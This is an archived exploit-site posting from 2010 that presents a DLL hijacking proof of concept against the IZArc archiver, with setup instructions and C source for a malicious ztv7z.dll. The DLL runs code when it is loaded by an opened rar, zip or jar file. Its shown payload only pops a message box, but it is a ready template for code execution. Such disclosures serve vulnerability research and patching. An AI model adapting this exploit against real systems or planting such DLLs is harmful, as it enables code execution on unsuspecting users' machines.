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IZArc DLL Hijacking (ztv7z.dll) Exploit

Posted on 06 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>IZArc DLL Hijacking (ztv7z.dll) Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=======================================
IZArc DLL Hijacking (ztv7z.dll) Exploit
=======================================

/*
Exploit Title: IZArc DLL Hijacking Exploit (ztv7z.dll)
Date: 01/09/2010
Author: Anastasios Monachos (secuid0) - anastasiosm[at]gmail[dot]com
Software Version: IZArc 4.1.2.2012
Vendor Site: http://www.izarc.org/
Vulnerable Extensions: rar, zip, jar (and probably many more)
Tested Under: winxp_sp2_gdr.050301-1519

Instructions: 
1. Compile the following code
2. Create a file of the affected extensions in the same directory as the dll
3. Execute file.&lt;extension&gt;
*/

#include &lt;windows.h&gt;

int dll_m0nk()
{
    MessageBox(0, &quot;IZArc is vulnerable to DLL Hijacking&quot;, &quot;secuid0&quot;, MB_OK);
	return 1;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	dll_m0nk();
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-06]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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